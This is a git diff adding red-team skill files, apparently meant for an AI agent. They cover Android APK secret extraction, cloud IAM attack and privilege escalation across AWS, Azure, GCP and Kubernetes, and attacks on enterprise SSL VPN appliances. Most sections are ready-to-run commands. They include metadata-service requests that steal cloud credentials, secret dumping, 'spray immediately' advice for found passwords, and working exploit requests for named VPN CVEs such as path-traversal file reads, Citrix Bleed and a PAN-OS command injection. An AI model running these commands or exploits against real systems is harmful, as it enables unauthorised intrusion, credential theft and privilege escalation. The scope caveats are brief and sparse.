+# Inside:
+android hooking watch class_method <class>.<method> --dump-args --dump-return
+```
+
+---
+
+## Stage 8 — Network traffic capture (via mitmproxy)
+
+For deeper API discovery once pinning is bypassed.
+
+```bash
+# Run mitmproxy on host
+mitmproxy --listen-port 8080
+
+# Configure Android device proxy to host:8080
+# Install mitmproxy CA cert on device:
+# - Pull from http://mitm.it on the device, or
+# - Push to /system/etc/security/cacerts/ on rooted device
+
+# Use the Frida pinning bypass script while traffic flows through mitmproxy
+# All API calls visible in mitmproxy UI
+```
+
+---
+
+## Decision tree — what to do with what you find
+
+| Finding | Next move |
+|---|---|
+| Active JWT (not expired) | Test against the API host — does it grant access? Try sid manipulation |
+| Expired JWT | Inspect path tokens / API endpoint structure — useful intel for post-VPN |
+| AWS access key | Use `awscli` to test: `aws sts get-caller-identity` — many leaked keys still have permissions |
+| Firebase project_id + web_api_key | Test public Firestore/RTDB/Storage read |
+| Google API key (AIza*) | Test against `https://www.googleapis.com/customsearch/v1` etc. — see what API the key activates |
+| Hardcoded HTTP URLs (http://) | Possible MITM via downgrade if cert pinning is missing |
+| Pinned cert for internal host | New asset discovery — that host is real |
+| Exported Activity with WebView | Test intent-injection → URL-loading abuse |
+| Stack-trace artifacts (Stack Overflow URLs) | Identify the developer's questions → infer architecture |
+| Hardcoded credentials | Spray immediately (respect any caps from related skills) |
+
+---
+
+## Anti-patterns
+
+- **Don't grep only for "password"** — most secrets have specific high-signal patterns (AKIA, AIza, eyJ, etc.). Generic word grep produces too much noise.
+- **Don't skip XAPK split APKs** — config.armeabi splits and config.<lang> splits sometimes contain different code paths.
+- **Don't trust expired JWTs as "dead intel"** — the path structure, endpoint list, and signing algorithm are still useful. The redacted-brand2 Pragati example shows this.
+- **Don't reverse only the latest version** — older APK versions (via APKMirror version history) sometimes have secrets removed in newer versions but still active server-side.
+- **Don't ignore Firebase even if app looks "simple"** — Firebase rules misconfigurations (public read on Firestore) are extremely common.
+- **Don't run Frida on a production device** — use rooted emulator or test device only.
+
+---
+
+## Tooling install (one-time)
+
+```bash
+brew install jadx p7zip
+pip install --break-system-packages frida-tools objection
+# Genymotion or AVD for rooted Android emulator
+```
+
+For APK download convenience, can add a `download-apk` shell function:
+```bash
+download-apk() {
+ local pkg="$1"
+ curl -sk -L --max-time 60 "https://d.apkpure.net/b/APK/$pkg?version=latest" -o "$pkg.apk"
+ echo "Downloaded $(wc -c < "$pkg.apk") bytes"
+ file "$pkg.apk"
+}
+```
+
+---
+
+## Bridge to neighboring skills
+
+- `offensive-osint` — Play Store / APKMirror enum is part of broader OSINT
+- `hunt-cloud-misconfig` — Firebase public-read is exactly this skill's specialty post-discovery
+- `hunt-api-misconfig` — JWT manipulation once you have the algorithm + sample token
+- `evidence-hygiene` — extracted secrets need redaction before report inclusion
+- `redteam-mindset` — APK reverse on day-1 of an engagement, not as an afterthought
+
+---
+
+## Real-world finding template (from redacted-client)
+
+**Finding: Hardcoded JWT + 30+ Internal API Endpoints in redacted-brand2 Pragati APK**
+
+- Subject: Hardcoded artifacts in legacy mobile build reveal internal API surface
+- Observations: Decompilation of `com.redacted-client.redacted-brand2` revealed embedded JWT (expired 2018-12-01) and 30+ `/v1/*` endpoint paths against `api2.redacted-client.com` (internal-only externally)
+- Description: APK ships with developer build artifacts. Path tokens (`JQc1Ep1Qpp/...`) are security-by-obscurity; API endpoint inventory is reconnaissance-grade.
+- Impact: Post-VPN-foothold (via cred compromise), attacker has full API surface map without binary reverse. HS256 secret recovery (via SSRF/LFI) would yield arbitrary token forging.
+- Recommendation: rotate HS256 secret, migrate to RS256, remove hardcoded URLs from builds, audit all org APKs.
+- Evidence: extracted strings, decoded JWT, endpoint inventory
diff --git a/skills/cloud-iam-deep/SKILL.md b/skills/cloud-iam-deep/SKILL.md
new file mode 100644
index 0000000..b846b0a
--- /dev/null
+++ b/skills/cloud-iam-deep/SKILL.md
@@ -0,0 +1,402 @@
+---
+name: cloud-iam-deep
+description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token exfil, role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
+sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler
+report_count: 0
+---
+
+## When to use
+
+Trigger when:
+- A cloud credential surfaces (key, secret, token, JSON file)
+- SSRF chain reaches IMDS / metadata endpoint
+- APK / git-leak reveals embedded cloud key
+- Recon shows public S3/GCS/Azure-blob with permissions you can verify
+- A Kubernetes API or service-account token is exposed
+- Post-RCE on a cloud-hosted instance — pivot to cloud control plane
+
+Do NOT use for:
+- On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
+- Web2 vulns that happen to be on AWS — use the relevant `hunt-*` skill
+
+---
+
+## Credential identification (first 60 seconds)
+
+```bash
+# AWS access key patterns
+AKIA[0-9A-Z]{16} # IAM user access key (long-term)
+ASIA[0-9A-Z]{16} # STS temporary credential
+AGPA[0-9A-Z]{16} # IAM group
+AIDA[0-9A-Z]{16} # IAM user (user-id)
+AROA[0-9A-Z]{16} # IAM role
+ANPA[0-9A-Z]{16} # Managed policy
+
+# AWS secret pattern (40-char base64-ish — context required)
+[A-Za-z0-9/+=]{40} # AWS secret access key
+
+# Azure
+AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
+client_secret pattern + UUID # Azure AD app credential
+
+# GCP service account JSON
+{
+ "type": "service_account",
+ "project_id": "...",
+ "private_key_id": "...",
+ "private_key": "-----BEGIN PRIVATE KEY-----..."
+}
+
+# K8s SA token (JWT format — decode to confirm)
+eyJhbGciOiJSUzI1... # decode kid claim to see issuer
+```
+
+---
+
+## AWS — read-only validation (the safe first step)
+
+```bash
+# Set credential
+export AWS_ACCESS_KEY_ID="AKIA..."
+export AWS_SECRET_ACCESS_KEY="..."
+
+# 1. WHO am I?
+aws sts get-caller-identity
+# Returns: UserId, Account, Arn
+# Arn tells you: IAM user vs role, account ID, name
+
+# 2. WHAT can I do? (the privesc question)
+# Try common read-only first — failures still inform you
+aws iam list-users 2>&1 | head -5
+aws iam list-roles 2>&1 | head -5
+aws iam list-policies 2>&1 | head -5
+aws iam list-groups 2>&1 | head -5
+
+# 3. WHAT policies are attached to me?
+aws iam list-attached-user-policies --user-name <self>
+aws iam list-user-policies --user-name <self> # inline policies
+aws iam list-groups-for-user --user-name <self>
+
+# 4. Service-by-service surface
+aws ec2 describe-instances --max-items 1 2>&1 | head
+aws s3 ls 2>&1 | head -10
+aws lambda list-functions --max-items 5 2>&1 | head
+aws rds describe-db-instances --max-items 5 2>&1 | head
+aws secretsmanager list-secrets --max-results 5 2>&1 | head
+aws ssm describe-parameters --max-results 5 2>&1 | head
+
+# 5. Audit any cross-account / external trust
+aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
+```
+
+---
+
+## AWS privesc patterns (24+ documented — `iam_privesc` techniques)
+
+Quick lookup — if you have any of these IAM actions, escalate via the listed technique:
+
+| You have | Escalate via |
+|---|---|
+| `iam:CreateAccessKey` | Create access key on any user → impersonate |
+| `iam:CreateLoginProfile` | Set a console password on a user → login |
+| `iam:UpdateLoginProfile` | Reset console password on a user |
+| `iam:AttachUserPolicy` | Attach AdministratorAccess to self |
+| `iam:AttachGroupPolicy` | Attach AdministratorAccess to a group you're in |
+| `iam:AttachRolePolicy` + sts:AssumeRole | Attach to a role you can assume |
+| `iam:PutUserPolicy` | Inline AdministratorAccess to self |
+| `iam:PutGroupPolicy` | Inline policy on a group |
+| `iam:PutRolePolicy` | Inline on a role you can assume |
+| `iam:AddUserToGroup` | Add self to admin group |
+| `iam:UpdateAssumeRolePolicy` + sts:AssumeRole | Modify trust to allow self |
+| `iam:CreatePolicyVersion` | Create v2 of an attached policy with admin |
+| `iam:SetDefaultPolicyVersion` | Switch attached policy to admin version |
+| `iam:PassRole` + ec2:RunInstances | Launch EC2 as admin role → use instance creds |
+| `iam:PassRole` + lambda:CreateFunction/InvokeFunction | Run code as admin role |
+| `iam:PassRole` + cloudformation:CreateStack | CF stack creates resources as admin |
+| `iam:PassRole` + glue:CreateDevEndpoint | Notebook runs as admin role |
+| `iam:PassRole` + datapipeline | Pipeline runs as admin role |
+| `iam:PassRole` + codestar:CreateProject | New project gets admin role |
+| `ec2:RunInstances` (with admin instance profile already on the AMI) | Spin instance, exfil creds from IMDS |
+| `lambda:UpdateFunctionCode` (function has admin role) | Replace code → exfil creds |
+| `lambda:UpdateFunctionConfiguration` | Add layer / env var that exfils |
+| `cloudformation:UpdateStack` | Modify stack to grant self admin |
+| `sts:AssumeRole` (where trust allows you) | Direct privilege jump |
+
+Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.
+
+---
+
+## AWS — STS / cross-account / role chaining
+
+```bash
+# Enumerate roles you can assume across accounts
+aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
+# Parse for "Principal.AWS" containing different account IDs
+
+# Assume a role
+aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
+
+# Set new creds
+export AWS_ACCESS_KEY_ID="ASIA..."
+export AWS_SECRET_ACCESS_KEY="..."
+export AWS_SESSION_TOKEN="..."
+
+# Verify
+aws sts get-caller-identity # should now show OTHER_ACCT
+
+# Re-enumerate from new identity (chain continues)
+```
+
+**Confused-deputy pattern:** look for `sts:ExternalId` missing or trust policies that allow `arn:aws:iam::*:role/*`. If `ExternalId` is not required, anyone can assume the role.
+
+---
+
+## AWS IMDSv1 / IMDSv2 abuse via SSRF
+
+```bash
+# IMDSv1 (legacy, still common — straight GET):
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# Returns role name → fetch creds:
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
+# JSON with AccessKeyId, SecretAccessKey, Token, Expiration
+
+# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
+curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
+TOKEN=...
+curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# SSRF bypass for IMDSv2:
+# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
+# Exception: SSRF in functions that themselves perform requests with custom headers.
+```
+
+---
+
+## Azure — credential validation
+
+```bash
+# Login with a credential
+az login --service-principal -u <appId> -p <password> --tenant <tenantId>
+# OR with managed identity (from inside Azure VM)
+az login --identity
+
+# Who am I?
+az account show
+
+# Subscriptions
+az account list --output table
+
+# Role assignments (Azure RBAC)
+az role assignment list --assignee <objectId> --all
+az role assignment list --all --query '[?principalId==`<objectId>`]' --output table
+
+# Resources I can read
+az resource list --output table | head -30
+az storage account list --output table
+az keyvault list --output table
+az vm list --output table
+```
+
+---
+
+## Azure — Managed Identity abuse
+
+```bash
+# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
+# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
+curl -H "Metadata: true" \
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+
+# Returns access_token for the Managed Identity. Use:
+TOKEN="..."
+curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
+
+# Get token for Key Vault
+curl -H "Metadata: true" \
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
+
+# Get token for Graph
+curl -H "Metadata: true" \
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
+# → If Managed Identity has Graph permissions, read all M365 data
+```
+
+---
+
+## Azure privesc patterns
+
+| You have | Escalate via |
+|---|---|
+| `Microsoft.Authorization/roleAssignments/write` on tenant | Self-assign Owner |
+| `Microsoft.Authorization/roleDefinitions/write` | Modify role def to add powers |
+| `Microsoft.Compute/virtualMachines/runCommand/action` | Run command on VM (with VM's MI) |
+| `Microsoft.KeyVault/vaults/secrets/getSecret/action` | Read all KV secrets |
+| `Microsoft.Storage/storageAccounts/listkeys/action` | Read all storage blobs |
+| `Microsoft.Web/sites/publishxml/action` | Get publish profile → RCE on app |
+| `Microsoft.Web/sites/host/listkeys/action` | Func app key → RCE via function trigger |
+| `Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory` | Grant self Global Admin |
+
+---
+
+## GCP — service account JSON
+
+```bash
+# Activate
+gcloud auth activate-service-account --key-file=sa-leaked.json
+
+# Who am I?
+gcloud auth list
+gcloud config get-value account
+gcloud config get-value project
+
+# What roles does this SA have? (project-level only — not org-level)
+gcloud projects get-iam-policy <projectId> \
+ --flatten="bindings[].members" \
+ --format="table(bindings.role)" \
+ --filter="bindings.members:<sa-email>"
+
+# Service-by-service:
+gcloud compute instances list 2>&1 | head
+gcloud storage buckets list 2>&1 | head
+gcloud secrets list 2>&1 | head
+gcloud functions list 2>&1 | head
+gcloud sql instances list 2>&1 | head
+gcloud container clusters list 2>&1 | head
+```
+
+---
+
+## GCP privesc patterns
+
+| You have | Escalate via |
+|---|---|
+| `iam.serviceAccounts.getAccessToken` on higher-priv SA | Get token for that SA |
+| `iam.serviceAccounts.implicitDelegation` | Chain through delegate SAs |
+| `iam.serviceAccounts.signBlob` / `signJwt` on higher SA | Forge JWT for that SA |
+| `iam.serviceAccountKeys.create` | Create new key for any SA → impersonate |
+| `iam.serviceAccounts.setIamPolicy` | Grant self impersonation rights |
+| `iam.roles.update` (on custom role) | Add admin permissions to a role you have |
+| `cloudfunctions.functions.update` (function runs as high-priv SA) | Replace code → exfil creds |
+| `cloudfunctions.functions.call` + above | Trigger replacement |
+| `compute.instances.setMetadata` | Add ssh-keys metadata → SSH as root |
+| `compute.instances.setServiceAccount` | Attach higher-priv SA to instance |
+| `cloudbuild.builds.create` (build runs as project SA) | Build executes attacker code |
+| `deploymentmanager.deployments.create` | Resources created as DM SA |
+
+---
+
+## GCP IMDS attack (via SSRF or post-RCE)
+
+```bash
+# GCP IMDS endpoint:
+curl -H "Metadata-Flavor: Google" \
+ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
+
+# Returns access token. Use:
+TOKEN=...
+curl -H "Authorization: Bearer $TOKEN" \
+ "https://cloudresourcemanager.googleapis.com/v1/projects"
+```
+
+---
+
+## Kubernetes — exposed API / SA token
+
+```bash
+# Check anonymous access on K8s API
+curl -sk "https://k8s.target.com:6443/api/v1/namespaces"
+
+# Anonymous binding (system:anonymous user) — surprisingly common
+curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"
+
+# If SA token exfil'd (eyJ...):
+export TOKEN="eyJ..."
+kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
+kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
+kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
+kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
+```
+
+### K8s privesc patterns
+
+| You have | Escalate via |
+|---|---|
+| `pods/exec` on high-priv pod | exec into pod with admin SA token |
+| `pods/create` + `serviceaccounts/use` | Create pod mounting admin SA token |
+| `secrets/get` | Read any service-account token in cluster |
+| `clusterrolebindings/create` | Grant self cluster-admin |
+| `roles/escalate` or `clusterroles/escalate` | Add permissions to role |
+| `nodes/proxy` | Proxy to kubelet on any node → exec via kubelet |
+| `bind` verb on roles | Bind a role you don't have to a subject |
+| `impersonate` on users/groups/SAs | Operate as another principal |
+
+---
+
+## Tooling reference
+
+| Tool | Cloud | Purpose |
+|---|---|---|
+| **Pacu** | AWS | Full red-team framework, 100+ modules |
+| **enumerate-iam.py** | AWS | Brute-force list of API calls to discover permissions |
+| **PMapper** | AWS | Visualize privesc paths as graph |
+| **CloudFox** | AWS | Recon-focused (enumerate resources, no privesc) |
+| **Prowler** | AWS/Azure/GCP | Compliance scanning + enumeration |
+| **ScoutSuite** | AWS/Azure/GCP/OCI | Multi-cloud audit |
+| **AzureHound** | Azure | BloodHound-style graph for Azure |
+| **MicroBurst** | Azure | Azure-specific recon and abuse modules |
+| **ROADtools** | Azure | Entra ID enumeration toolkit |
+| **GCPBucketBrute** | GCP | GCS bucket permission enumeration |
+| **gcpwn** | GCP | GCP-specific exploitation framework |
+| **Peirates** | K8s | Container/cluster exploitation toolkit |
+| **kube-hunter** | K8s | Auto-scan cluster from inside/outside |
+| **kubectl-trace** | K8s | Trace processes (post-foothold) |
+
+---
+
+## Anti-patterns
+
+- **DO NOT run write/delete operations without explicit OK** — IAM mutation is destructive and audit-visible
+- **DO NOT enumerate everything in scope of an account** — `aws iam list-users` against an account with 50,000 users is loud and slow
+- **DO NOT use `aws *` with non-test creds without confirming you have the right account** — accidentally hitting prod = career risk
+- **DO NOT confuse "I have the credential" with "this credential is current"** — always check expiration / rotation via STS first
+- **DO NOT assume an STS token from one account works across accounts** — region restrictions and trust policies apply
+- **DO NOT skip CloudTrail/Activity Log awareness** — every API call is logged; pair with `mid-engagement-ir-detection`
+- **DO NOT pivot deeper than the SOW allows** — discovering admin creds doesn't mean using them; some engagements are read-only
+
+---
+
+## Bridge to neighboring skills
+
+- `hunt-cloud-misconfig` — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
+- `hunt-ssrf` — SSRF→IMDS is the canonical chain into cloud control plane
+- `apk-redteam-pipeline` — APK secret extraction commonly yields cloud creds
+- `supply-chain-attack-recon` — CI/CD pipelines store cloud creds; finding them is a separate workflow
+- `m365-entra-attack` — Azure cross-product; Managed Identity tokens cross over to Graph
+- `mid-engagement-ir-detection` — cloud control plane activity is monitored; expect mitigations
+
+---
+
+## Severity scoring guidance
+
+| Finding | Severity |
+|---|---|
+| AWS access key with `*:*` in policy → confirmed admin | Critical |
+| GCP SA JSON with `roles/owner` on production project | Critical |
+| Azure MI on internet-exposed VM with Owner role | Critical |
+| Leaked cred with read-only on prod data store | High (or Critical depending on data sensitivity) |
+| Leaked cred with privesc path but no admin yet | High |
+| Leaked cred — read access only to non-sensitive | Medium |
+| Anonymous public bucket — listing only | Low/Medium |
+| Anonymous bucket — write permission | High |
+
+---
+
+## Cleanup discipline (deliverable hygiene)
+
+If during the engagement you:
+- Used `sts:AssumeRole` to chain — note the role names and times in IoCs
+- Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
+- Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems
+
+Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.
diff --git a/skills/enterprise-vpn-attack/SKILL.md b/skills/enterprise-vpn-attack/SKILL.md
new file mode 100644
index 0000000..6c3a04b
--- /dev/null
+++ b/skills/enterprise-vpn-attack/SKILL.md
@@ -0,0 +1,346 @@
+---
+name: enterprise-vpn-attack
+description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from redacted-client engagement (May 2026) Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
+sources: redacted-client-redteam-2026, public-advisories, cisa-kev
+report_count: 1
+---
+
+## When to use this skill
+
+Trigger when recon surfaces:
+- `*.redacted-client.com/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect
+- `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains
+- Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
+- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
+- HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
+
+DO NOT use for:
+- Internal lateral-movement post-foothold (out of scope per user's boundary)
+- VPN client-side bugs (different attack class)
+- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
+
+---
+
+## Vendor identification (fingerprinting)
+
+### Cisco ASA / AnyConnect
+```bash
+curl -skI 'https://target/+CSCOE+/logon.html' | head -10
+# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
+# Login page contains: "AnyConnect", "CSCOE", "logon.html"
+```
+ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
+
+```bash
+# Path-based version hints (older builds leaked builds in URLs)
+curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
+curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
+curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint
+```
+
+### Fortinet FortiGate / FortiOS
+```bash
+curl -skI 'https://target/remote/login' | head -10
+# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
+# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
+```
+Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
+
+### Citrix NetScaler / ADC / Gateway
+```bash
+curl -skI 'https://target/' | head -10
+# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
+# Login page contains: "NetScaler", "Citrix Gateway"
+
+# Version banner
+curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
+curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era
+```
+
+### Palo Alto GlobalProtect
+```bash
+curl -skI 'https://target/global-protect/login.esp' | head -10
+# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
+# Page contains: "GlobalProtect Portal", "PAN-OS"
+
+# Version banner via login page
+curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
+# Or check meta tag
+curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
+```
+
+### Pulse Secure / Ivanti Connect Secure
+```bash
+curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
+# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
+# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
+
+# Version
+curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
+```
+
+### SonicWall NetExtender / SMA
+```bash
+curl -skI 'https://target/cgi-bin/welcome' | head -10
+# Look for: Set-Cookie: swap=, swapauth=
+# Page contains: "SonicWall", "NetExtender", "SMA"
+```
+
+### F5 Big-IP / APM
+```bash
+curl -skI 'https://target/my.policy' | head -10
+# Look for: Set-Cookie: BIGipServer*, MRHSession=
+# Server: BIG-IP (sometimes)
+```
+
+---
+
+## CVE matrix — pre-auth or auth-bypass (2018-2026)
+
+### Cisco ASA / AnyConnect
+
+| CVE | Affects | Type | Test |
+|---|---|---|---|
+| **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` |
+| **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations |
+| **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` |
+| **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |
+
+```bash
+# Cisco CVE-2020-3452 — file read
+curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
+
+# Cisco CVE-2018-0296 — path traversal
+curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
+
+# Files commonly retrievable on vulnerable ASA:
+# /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users)
+# /+CSCOE+/session_password.html
+# /+CSCOE+/files/files.html
+```
+
+### Fortinet FortiGate / FortiOS
+
+| CVE | Affects | Type | Test |
+|---|---|---|---|
+| **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` |
+| **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` |
+| **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available |
+| **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` |
+| **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |
+
+```bash
+# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
+curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
+# Response contains plaintext usernames + sessions if vulnerable
+
+# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
+# IP:PORT username password (and others)
+```
+
+### Citrix NetScaler / ADC / Gateway
+
+| CVE | Affects | Type | Test |
+|---|---|---|---|
+| **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` |
+| **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei |
+| **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist |
+| **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |
+
+```bash
+# Citrix Bleed (CVE-2023-4966) detection
+HOST=$(python3 -c "print('A' * 24812)")
+curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
+# If response is large (>10KB) and contains random memory contents — vulnerable
+# Session tokens often present in the memory dump
+
+# CVE-2019-19781 file read
+curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
+```
+
+### Palo Alto GlobalProtect
+
+| CVE | Affects | Type | Test |
+|---|---|---|---|
+| **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |
+
+```bash
+# CVE-2024-3400 detection
+curl -sk -X POST 'https://target/ssl-vpn/login.esp' \
+ -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
+ --data 'jsessionid=test'
+# Look for file-creation side-effect on test path — palo creates file with command output
+```
+
+### Pulse Secure / Ivanti Connect Secure / Policy Secure
+
+| CVE | Affects | Type | Test |
+|---|---|---|---|
+| **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` |
+| **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei |
+| **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body |
+| **CVE-2024-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
+
+```bash
+# CVE-2019-11510 — Pulse file read
+curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
+```
+
+### SonicWall
+
+| CVE | Affects | Type | Test |
+|---|---|---|---|
+| **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available |
+| **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |
+
+---
+
+## SAML SP / IdP misconfigurations (always check)
+
+Most enterprise VPNs now use SAML for SSO. Check SP metadata:
+
+```bash
+# Cisco ASA
+curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
+
+# Fortinet
+curl -sk 'https://target/remote/saml/metadata' | head -50
+
+# Citrix
+curl -sk 'https://target/saml/login' | head -30
+```
+
+Look for:
+- `AuthnRequestsSigned="false"` → see `hunt-saml` for XSW exploitation
+- `WantAssertionsSigned="false"` → severe; assertion-replay possible
